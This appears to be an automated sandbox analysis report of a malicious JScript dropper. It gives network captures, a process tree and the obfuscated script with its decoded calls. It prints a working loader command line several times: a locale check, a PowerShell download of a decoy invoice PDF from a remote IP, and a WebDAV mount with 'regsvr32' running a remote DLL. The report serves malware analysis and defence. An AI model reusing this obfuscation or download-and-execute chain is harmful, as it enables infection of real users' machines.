Jan 10, 2025 17:34:56.979588032 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:34:56.979604959 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:34:56.979620934 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:34:56.979641914 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 17:34:56.979660034 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 17:34:56.979677916 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 17:34:56.979696989 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 17:34:56.984527111 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7768	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:34:58.938004017 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:34:59.836580992 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:34:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:34:52
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js"
Imagebase:	0x7ff6f52b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:34:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll
Imagebase:	0x7ff62e800000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:34:52
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:34:52
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:34:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:34:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62e800000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:34:58
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff722dd0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:34:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:34:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:34:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1360,i,16295376262785237686,8278694077774238720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lxdopq() {	lxdopq() ➔ undefined
1	cnunkgk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var peqdtqgt = this[lhvsqmly + dyonc + xrqkeviz + qmevyhmgx + jlkyf + zddklk + lyysqlj + ziyctabtx] ( this[yzntvkhv + nehicduq + njrukhuv + xrqkeviz + lcrilrhhg + lhvsqmly + ziyctabtx][gjjhuex + xrqkeviz + jlkyf + dyonc + ziyctabtx + jlkyf + cqiqt + upxsacto + nxxrz + jlkyf + njrukhuv + ziyctabtx] ( yzntvkhv + nehicduq + njrukhuv + xrqkeviz + lcrilrhhg + lhvsqmly + ziyctabtx + pucrdshdp + nehicduq + crika + jlkyf + sxwyq + sxwyq ) [lrgfbtt + jlkyf + tguahiwa + lrgfbtt + jlkyf + dyonc + iyxfp] ( dkbvesyl + vkwmud + jluplr + bsxdtnnkw + tyihfk + gjjhuex + kumpzhzt + lrgfbtt + lrgfbtt + jluplr + ujbrhhc + zdaeq + tyihfk + kumpzhzt + nehicduq + jluplr + lrgfbtt + lahamsz + gjjhuex + ofwoikkbo + lyysqlj + ziyctabtx + xrqkeviz + ofwoikkbo + sxwyq + rdtzyt + dovzws + dyonc + lyysqlj + jlkyf + sxwyq + lahamsz + zddklk + lyysqlj + ziyctabtx + jlkyf + xrqkeviz + lyysqlj + dyonc + ziyctabtx + lcrilrhhg + ofwoikkbo + lyysqlj + dyonc + sxwyq + lahamsz + mupjsq + ofwoikkbo + njrukhuv + dyonc + sxwyq + jlkyf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( yvuckzhgj = 0 ; yvuckzhgj < cnunkgk[sxwyq + jlkyf + lyysqlj + tguahiwa + ziyctabtx + crika] ; ++ yvuckzhgj )
4	{
5	if ( peqdtqgt == cnunkgk[yvuckzhgj] )
6	{
7	peqdtqgt = true;
8	break ;
9	}
10	}
11	if ( peqdtqgt !== true )
12	this[yzntvkhv + nehicduq + njrukhuv + xrqkeviz + lcrilrhhg + lhvsqmly + ziyctabtx][qqfjnyejd + fokdmsfp + lcrilrhhg + ziyctabtx] ( );
13	this[yzntvkhv + nehicduq + njrukhuv + xrqkeviz + lcrilrhhg + lhvsqmly + ziyctabtx][gjjhuex + xrqkeviz + jlkyf + dyonc + ziyctabtx + jlkyf + cqiqt + upxsacto + nxxrz + jlkyf + njrukhuv + ziyctabtx] ( yzntvkhv + nehicduq + njrukhuv + xrqkeviz + lcrilrhhg + lhvsqmly + ziyctabtx + pucrdshdp + nehicduq + crika + jlkyf + sxwyq + sxwyq ) [xrqkeviz + fokdmsfp + lyysqlj] ( njrukhuv + srhiotu + iyxfp + rdtzyt + wtulrmg + njrukhuv + rdtzyt + lhvsqmly + ofwoikkbo + dkczuaep + jlkyf + xrqkeviz + qmevyhmgx + crika + jlkyf + sxwyq + sxwyq + pucrdshdp + jlkyf + nbxcwvrfw + jlkyf + rdtzyt + aisribkdr + gjjhuex + ofwoikkbo + srhiotu + srhiotu + dyonc + lyysqlj + iyxfp + rdtzyt + mddehuj + zddklk + lyysqlj + azyygeis + ofwoikkbo + zmrnmp + jlkyf + aisribkdr + yzntvkhv + jlkyf + upxsacto + lrgfbtt + jlkyf + fkhyrtckj + fokdmsfp + jlkyf + qmevyhmgx + ziyctabtx + rdtzyt + aisribkdr + cqiqt + fokdmsfp + ziyctabtx + qccwbid + lcrilrhhg + sxwyq + jlkyf + rdtzyt + coutyus + ziyctabtx + jlkyf + srhiotu + lhvsqmly + coutyus + lahamsz + lcrilrhhg + lyysqlj + azyygeis + ofwoikkbo + lcrilrhhg + njrukhuv + jlkyf + pucrdshdp + lhvsqmly + iyxfp + fhdjjrwye + rdtzyt + crika + ziyctabtx + ziyctabtx + lhvsqmly + hwwcw + wtulrmg + wtulrmg + mabdsbxk + rxnnuu + ihgkymzzc + pucrdshdp + mabdsbxk + zgpnu + ihgkymzzc + pucrdshdp + mabdsbxk + pucrdshdp + vtkhlesx + yvxlbpq + pzbdswqta + wtulrmg + lcrilrhhg + lyysqlj + azyygeis + ofwoikkbo + lcrilrhhg + njrukhuv + jlkyf + pucrdshdp + lhvsqmly + crika + lhvsqmly + mddehuj + kfrph + kfrph + qmevyhmgx + ziyctabtx + dyonc + xrqkeviz + ziyctabtx + rdtzyt + coutyus + ziyctabtx + jlkyf + srhiotu + lhvsqmly + coutyus + lahamsz + lcrilrhhg + lyysqlj + azyygeis + ofwoikkbo + lcrilrhhg + njrukhuv + jlkyf + pucrdshdp + lhvsqmly + iyxfp + fhdjjrwye + kfrph + kfrph + njrukhuv + srhiotu + iyxfp + rdtzyt + wtulrmg + njrukhuv + rdtzyt + lyysqlj + jlkyf + ziyctabtx + rdtzyt + fokdmsfp + qmevyhmgx + jlkyf + rdtzyt + lahamsz + lahamsz + mabdsbxk + rxnnuu + ihgkymzzc + pucrdshdp + mabdsbxk + zgpnu + ihgkymzzc + pucrdshdp + mabdsbxk + pucrdshdp + vtkhlesx + yvxlbpq + pzbdswqta + bpygnhbb + agsngwpk + agsngwpk + agsngwpk + agsngwpk + lahamsz + iyxfp + dyonc + azyygeis + dkczuaep + dkczuaep + dkczuaep + xrqkeviz + ofwoikkbo + ofwoikkbo + ziyctabtx + lahamsz + kfrph + kfrph + njrukhuv + srhiotu + iyxfp + rdtzyt + wtulrmg + njrukhuv + rdtzyt + xrqkeviz + jlkyf + tguahiwa + qmevyhmgx + azyygeis + xrqkeviz + ihgkymzzc + vtkhlesx + rdtzyt + wtulrmg + qmevyhmgx + rdtzyt + lahamsz + lahamsz + mabdsbxk + rxnnuu + ihgkymzzc + pucrdshdp + mabdsbxk + zgpnu + ihgkymzzc + pucrdshdp + mabdsbxk + pucrdshdp + vtkhlesx + yvxlbpq + pzbdswqta + bpygnhbb + agsngwpk + agsngwpk + agsngwpk + agsngwpk + lahamsz + iyxfp + dyonc + azyygeis + dkczuaep + dkczuaep + dkczuaep + xrqkeviz + ofwoikkbo + ofwoikkbo + ziyctabtx + lahamsz + vtkhlesx + pzbdswqta + nftgltivs + ihgkymzzc + agsngwpk + mabdsbxk + zgpnu + ihgkymzzc + rxnnuu + vnddwg + mabdsbxk + ihgkymzzc + yvxlbpq + nftgltivs + pucrdshdp + iyxfp + sxwyq + sxwyq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll",0,false) ➔ 0
14	}
15	sxwyq = "l";
16	aisribkdr = "q";
17	aisribkdr = "b";
18	aisribkdr = "W";
19	aisribkdr = "X";
20	aisribkdr = "I";
21	aisribkdr = "T";
22	aisribkdr = "I";
23	aisribkdr = "b";
24	aisribkdr = "t";
25	aisribkdr = "b";
26	aisribkdr = "A";
27	aisribkdr = "Q";
28	aisribkdr = "o";
29	aisribkdr = "q";
30	aisribkdr = "J";
31	aisribkdr = "P";
32	aisribkdr = "Y";
33	aisribkdr = "i";
34	aisribkdr = "Y";
35	aisribkdr = "U";
36	aisribkdr = "-";
37	jlkyf = "Y";
38	jlkyf = "X";
39	jlkyf = "y";
40	jlkyf = "i";
41	jlkyf = "T";
42	jlkyf = "y";
43	jlkyf = "P";
44	jlkyf = "s";
45	jlkyf = "f";
46	jlkyf = "G";
47	jlkyf = "I";
48	jlkyf = "k";
49	jlkyf = "t";
50	jlkyf = "Y";
51	jlkyf = "g";
52	jlkyf = "q";
53	jlkyf = "Y";
54	jlkyf = "O";
55	jlkyf = "C";
56	jlkyf = "H";
57	jlkyf = "z";
58	jlkyf = "Q";
59	jlkyf = "P";
60	jlkyf = "q";
61	jlkyf = "x";
62	jlkyf = "u";
63	jlkyf = "g";
64	jlkyf = "U";
65	jlkyf = "T";
66	jlkyf = "j";
67	jlkyf = "n";
68	jlkyf = "m";
69	jlkyf = "P";
70	jlkyf = "q";
71	jlkyf = "X";
72	jlkyf = "H";
73	jlkyf = "E";
74	jlkyf = "G";
75	jlkyf = "j";
76	jlkyf = "S";
77	jlkyf = "D";
78	jlkyf = "k";
79	jlkyf = "j";
80	jlkyf = "u";
81	jlkyf = "e";
82	tguahiwa = "a";
83	tguahiwa = "O";
84	tguahiwa = "R";
85	tguahiwa = "T";
86	tguahiwa = "D";
87	tguahiwa = "g";
88	kfrph = "U";
89	kfrph = "S";
90	kfrph = "X";
91	kfrph = "B";
92	kfrph = "j";
93	kfrph = "a";
94	kfrph = "s";
95	kfrph = "z";
96	kfrph = "d";
97	kfrph = "z";
98	kfrph = "P";
99	kfrph = "a";
100	kfrph = "w";
101	kfrph = "g";
102	kfrph = "J";
103	kfrph = "s";
104	kfrph = "t";
105	kfrph = "D";
106	kfrph = "Q";
107	kfrph = "w";
108	kfrph = "L";
109	kfrph = "O";
110	kfrph = "Z";
111	kfrph = "h";
112	kfrph = "p";
113	kfrph = "G";
114	kfrph = "m";
115	kfrph = "h";
116	kfrph = "I";
117	kfrph = "E";
118	kfrph = "O";
119	kfrph = "K";
120	kfrph = "p";
121	kfrph = "n";
122	kfrph = "N";
123	kfrph = "c";
124	kfrph = "N";
125	kfrph = "S";
126	kfrph = "S";
127	kfrph = "M";
128	kfrph = "u";
129	kfrph = "d";
130	kfrph = "H";
131	kfrph = "&";
132	gjjhuex = "j";
133	gjjhuex = "x";
134	gjjhuex = "j";
135	gjjhuex = "K";
136	gjjhuex = "D";
137	gjjhuex = "x";
138	gjjhuex = "r";
139	gjjhuex = "Y";
140	gjjhuex = "g";
141	gjjhuex = "a";
142	gjjhuex = "T";
143	gjjhuex = "a";
144	gjjhuex = "T";
145	gjjhuex = "l";
146	gjjhuex = "q";
147	gjjhuex = "k";
148	gjjhuex = "a";
149	gjjhuex = "b";
150	gjjhuex = "n";
151	gjjhuex = "N";
152	gjjhuex = "k";
153	gjjhuex = "J";
154	gjjhuex = "C";
155	ihgkymzzc = "F";
156	ihgkymzzc = "T";
157	ihgkymzzc = "B";
158	ihgkymzzc = "m";
159	ihgkymzzc = "u";
160	ihgkymzzc = "i";
161	ihgkymzzc = "Z";
162	ihgkymzzc = "T";
163	ihgkymzzc = "r";
164	ihgkymzzc = "W";
165	ihgkymzzc = "h";
166	ihgkymzzc = "b";
167	ihgkymzzc = "b";
168	ihgkymzzc = "d";
169	ihgkymzzc = "v";
170	ihgkymzzc = "Y";
171	ihgkymzzc = "3";
172	dkbvesyl = "Q";
173	dkbvesyl = "b";
174	dkbvesyl = "f";
175	dkbvesyl = "a";
176	dkbvesyl = "u";
177	dkbvesyl = "b";
178	dkbvesyl = "d";
179	dkbvesyl = "J";
180	dkbvesyl = "T";
181	dkbvesyl = "T";
182	dkbvesyl = "U";
183	dkbvesyl = "C";
184	dkbvesyl = "G";
185	dkbvesyl = "O";
186	dkbvesyl = "q";
187	dkbvesyl = "X";
188	dkbvesyl = "h";
189	dkbvesyl = "v";
190	dkbvesyl = "V";
191	dkbvesyl = "q";
192	dkbvesyl = "J";
193	dkbvesyl = "L";
194	dkbvesyl = "W";
195	dkbvesyl = "b";
196	dkbvesyl = "i";
197	dkbvesyl = "V";
198	dkbvesyl = "S";
199	dkbvesyl = "R";
200	dkbvesyl = "T";
201	dkbvesyl = "Y";
202	dkbvesyl = "H";
203	dkbvesyl = "H";
204	dovzws = "U";
205	dovzws = "g";
206	dovzws = "n";
207	dovzws = "G";
208	dovzws = "P";
209	dovzws = "G";
210	dovzws = "u";
211	dovzws = "C";
212	dovzws = "M";
213	dovzws = "t";
214	dovzws = "L";
215	dovzws = "f";
216	dovzws = "G";
217	dovzws = "P";
218	njrukhuv = "n";
219	njrukhuv = "Q";
220	njrukhuv = "F";
221	njrukhuv = "O";
222	njrukhuv = "V";
223	njrukhuv = "I";
224	njrukhuv = "b";
225	njrukhuv = "u";
226	njrukhuv = "b";
227	njrukhuv = "u";
228	njrukhuv = "k";
229	njrukhuv = "r";
230	njrukhuv = "g";
231	njrukhuv = "o";
232	njrukhuv = "k";
233	njrukhuv = "i";
234	njrukhuv = "D";
235	njrukhuv = "o";
236	njrukhuv = "K";
237	njrukhuv = "c";
238	cqiqt = "Y";
239	cqiqt = "z";
240	cqiqt = "O";
241	bpygnhbb = "m";
242	bpygnhbb = "p";
243	bpygnhbb = "H";
244	bpygnhbb = "a";
245	bpygnhbb = "A";
246	bpygnhbb = "B";
247	bpygnhbb = "x";
248	bpygnhbb = "S";
249	bpygnhbb = "z";
250	bpygnhbb = "t";
251	bpygnhbb = "l";
252	bpygnhbb = "g";
253	bpygnhbb = "X";
254	bpygnhbb = "n";
255	bpygnhbb = "K";
256	bpygnhbb = "H";
257	bpygnhbb = "A";
258	bpygnhbb = "N";
259	bpygnhbb = "T";
260	bpygnhbb = "e";
261	bpygnhbb = "u";
262	bpygnhbb = "y";
263	bpygnhbb = "q";
264	bpygnhbb = "d";
265	bpygnhbb = "b";
266	bpygnhbb = "B";
267	bpygnhbb = "I";
268	bpygnhbb = "g";
269	bpygnhbb = "H";
270	bpygnhbb = "h";
271	bpygnhbb = "Y";
272	bpygnhbb = "K";
273	bpygnhbb = "b";
274	bpygnhbb = "S";
275	bpygnhbb = "D";
276	bpygnhbb = "g";
277	bpygnhbb = "L";
278	bpygnhbb = "S";
279	bpygnhbb = "M";
280	bpygnhbb = "Y";
281	bpygnhbb = "@";
282	mupjsq = "b";
283	mupjsq = "i";
284	mupjsq = "h";
285	mupjsq = "C";
286	mupjsq = "g";
287	mupjsq = "Q";
288	mupjsq = "s";
289	mupjsq = "Y";
290	mupjsq = "H";
291	mupjsq = "R";
292	mupjsq = "r";
293	mupjsq = "n";
294	mupjsq = "O";
295	mupjsq = "m";
296	mupjsq = "C";
297	mupjsq = "R";
298	mupjsq = "l";
299	mupjsq = "X";
300	mupjsq = "e";
301	mupjsq = "z";
302	mupjsq = "G";
303	mupjsq = "L";
304	zgpnu = "O";
305	zgpnu = "j";
306	zgpnu = "D";
307	zgpnu = "g";
308	zgpnu = "u";
309	zgpnu = "r";
310	zgpnu = "B";
311	zgpnu = "r";
312	zgpnu = "B";
313	zgpnu = "p";
314	zgpnu = "C";
315	zgpnu = "v";
316	zgpnu = "b";
317	zgpnu = "z";
318	zgpnu = "Q";
319	zgpnu = "w";
320	zgpnu = "F";
321	zgpnu = "D";
322	zgpnu = "Z";
323	zgpnu = "G";
324	zgpnu = "A";
325	zgpnu = "O";
326	zgpnu = "L";
327	zgpnu = "F";
328	zgpnu = "P";
329	zgpnu = "B";
330	zgpnu = "h";
331	zgpnu = "A";
332	zgpnu = "x";
333	zgpnu = "z";
334	zgpnu = "t";
335	zgpnu = "R";
336	zgpnu = "L";
337	zgpnu = "e";
338	zgpnu = "Y";
339	zgpnu = "z";
340	zgpnu = "q";
341	zgpnu = "i";
342	zgpnu = "A";
343	zgpnu = "C";
344	zgpnu = "i";
345	zgpnu = "V";
346	zgpnu = "u";
347	zgpnu = "b";
348	zgpnu = "4";
349	agsngwpk = "b";
350	agsngwpk = "v";
351	agsngwpk = "o";
352	agsngwpk = "q";
353	agsngwpk = "K";
354	agsngwpk = "C";
355	agsngwpk = "p";
356	agsngwpk = "v";
357	agsngwpk = "P";
358	agsngwpk = "M";
359	agsngwpk = "S";
360	agsngwpk = "g";
361	agsngwpk = "N";
362	agsngwpk = "C";
363	agsngwpk = "s";
364	agsngwpk = "m";
365	agsngwpk = "y";
366	agsngwpk = "s";
367	agsngwpk = "E";
368	agsngwpk = "Y";
369	agsngwpk = "W";
370	agsngwpk = "U";
371	agsngwpk = "e";
372	agsngwpk = "V";
373	agsngwpk = "K";
374	agsngwpk = "k";
375	agsngwpk = "E";
376	agsngwpk = "a";
377	agsngwpk = "Z";
378	agsngwpk = "A";
379	agsngwpk = "z";
380	agsngwpk = "c";
381	agsngwpk = "y";
382	agsngwpk = "j";
383	agsngwpk = "J";
384	agsngwpk = "r";
385	agsngwpk = "g";
386	agsngwpk = "M";
387	agsngwpk = "8";
388	qccwbid = "P";
389	qccwbid = "H";
390	qccwbid = "s";
391	qccwbid = "W";
392	qccwbid = "K";
393	qccwbid = "W";
394	qccwbid = "L";
395	qccwbid = "p";
396	qccwbid = "c";
397	qccwbid = "F";
398	dyonc = "M";
399	dyonc = "h";
400	dyonc = "z";
401	dyonc = "Q";
402	dyonc = "R";
403	dyonc = "R";
404	dyonc = "a";
405	fkhyrtckj = "I";
406	fkhyrtckj = "Q";
407	fkhyrtckj = "A";
408	fkhyrtckj = "T";
409	fkhyrtckj = "t";
410	fkhyrtckj = "z";
411	fkhyrtckj = "q";
412	nftgltivs = "i";
413	nftgltivs = "g";
414	nftgltivs = "Z";
415	nftgltivs = "X";
416	nftgltivs = "7";
417	lrgfbtt = "W";
418	lrgfbtt = "C";
419	lrgfbtt = "O";
420	lrgfbtt = "p";
421	lrgfbtt = "W";
422	lrgfbtt = "H";
423	lrgfbtt = "r";
424	lrgfbtt = "G";
425	lrgfbtt = "S";
426	lrgfbtt = "p";
427	lrgfbtt = "w";
428	lrgfbtt = "H";
429	lrgfbtt = "W";
430	lrgfbtt = "U";
431	lrgfbtt = "H";
432	lrgfbtt = "f";
433	lrgfbtt = "c";
434	lrgfbtt = "b";
435	lrgfbtt = "V";
436	lrgfbtt = "W";
437	lrgfbtt = "T";
438	lrgfbtt = "m";
439	lrgfbtt = "k";
440	lrgfbtt = "h";
441	lrgfbtt = "x";
442	lrgfbtt = "c";
443	lrgfbtt = "R";
444	coutyus = "o";
445	coutyus = "q";
446	coutyus = "L";
447	coutyus = "A";
448	coutyus = "H";
449	coutyus = "c";
450	coutyus = "S";
451	coutyus = "Z";
452	coutyus = "G";
453	coutyus = "N";
454	coutyus = "S";
455	coutyus = "C";
456	coutyus = "h";
